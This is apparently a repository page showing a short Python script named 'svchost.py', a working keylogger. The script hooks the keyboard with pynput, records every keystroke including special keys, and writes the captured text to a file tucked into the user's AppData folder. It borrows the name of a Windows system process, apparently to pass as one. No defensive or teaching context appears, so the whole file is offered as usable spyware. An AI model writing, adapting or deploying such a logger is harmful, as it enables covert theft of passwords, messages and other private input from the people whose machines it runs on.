-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsvchost.py
61 lines (55 loc) · 1.56 KB
/
svchost.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import pynput.keyboard as Keyboard
import os
ky = ""
f = open("C:/Users/"+os.getlogin()+"/AppData/Local/Programs/booom.txt", "w")
def numpad(num):
switch = {
96 : "0",
97 : "1",
98 : "2",
99 : "3",
100 : "4",
101 : "5",
102 : "6",
103 : "7",
104 : "8",
105 : "9"
}
return switch.get(num, "")
def scase (sc):
switch = {
Keyboard.Key.space : " ",
Keyboard.Key.ctrl_l : " <ctr_1> ",
Keyboard.Key.alt_l : " <alt_1> ",
Keyboard.Key.ctrl_r : " <ctr_r> ",
Keyboard.Key.shift : " <shift> ",
Keyboard.Key.shift_r : " <shift_r> ",
Keyboard.Key.caps_lock : " <caps_lock> ",
Keyboard.Key.tab : " <tab> ",
Keyboard.Key.esc : " <esc> ",
Keyboard.Key.enter : "\n",
Keyboard.Key.backspace : " <backspace> "
}
return switch.get(sc, "_")
def on_press(key):
global ky
try:
if hasattr(key, 'vk') and 96 <= key.vk <= 105:
ky = ky + numpad(key.vk)
else:
ky = ky + f'{key.char}'
if key == Keyboard.Key.enter:
f.write(ky)
ky = ""
except AttributeError:
ky = ky + scase(key)
if key == Keyboard.Key.enter:
f.write(ky)
ky = ""
print(ky)
def on_release(key):
if key == Keyboard.Key.esc:
f.close()
return False
with Keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()